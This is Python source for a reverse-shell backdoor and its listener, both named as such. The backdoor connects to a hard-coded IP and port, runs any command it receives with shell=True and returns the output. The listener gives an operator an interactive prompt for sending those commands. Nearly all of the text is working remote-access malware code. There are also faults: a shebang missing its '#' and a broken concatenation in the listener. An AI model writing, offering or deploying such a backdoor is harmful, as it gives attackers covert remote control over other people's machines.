BackDoor:

#!/usr/bin/env python
import socket
import subprocess
import json

class Backdoor:
	def __init__(self, ip, port):
		self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		self.connection.connect((ip, port))

	def reliable_send(self, data):
		json_data = json.dumps(data)
		self.connection.send(json_data)

	def reliable_receive(self):
		json_data = ""
		while True:
			try:
				json_data = json_data + self.connection.recv(1024)
				return json.loads(json_data)
			except ValueError:
				continue

	def execute_system_command(self, command):
		return subprocess.check_output(command, shell=True)

	def run(self):
		while True:
			command = self.reliable_receive()
			command_result = self.execute_system_command(command)
			self.reliable_send(command_result)
		self.connection.close()

my_backdoor = Backdoor("192.168.110.128", 8080)
my_backdoor.run()

Listener:

!/usr/bin/python
import socket, json


class Listener:
    def __init__(self, ip, port):
        listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        listener.bind((ip, port))
        listener.listen(0)
        print("[+] Waiting for incoming connections")
        self.connection, address = listener.accept()
        print("[+] Got a connection from " + str(address))

    def reliable_send(self, data):
        json_data = json.dumps(data)
        self.connection.send(json_data)

    def reliable_receive(self):
        json_data = ""
        while True:
            try:
                json_data = + self.connection.recv(1024)
                return json.loads(json_data)
            except ValueError:
                continue

    def execute_remotely(self, command):
        self.reliable_send(command)
        return self.reliable_receive()

    def run(self):
        while True:
            command = raw_input(">> ")
            result = self.execute_remotely(command)
            print(result)

my_listener = Listener("192.168.110.128", 8080)
my_listener.run()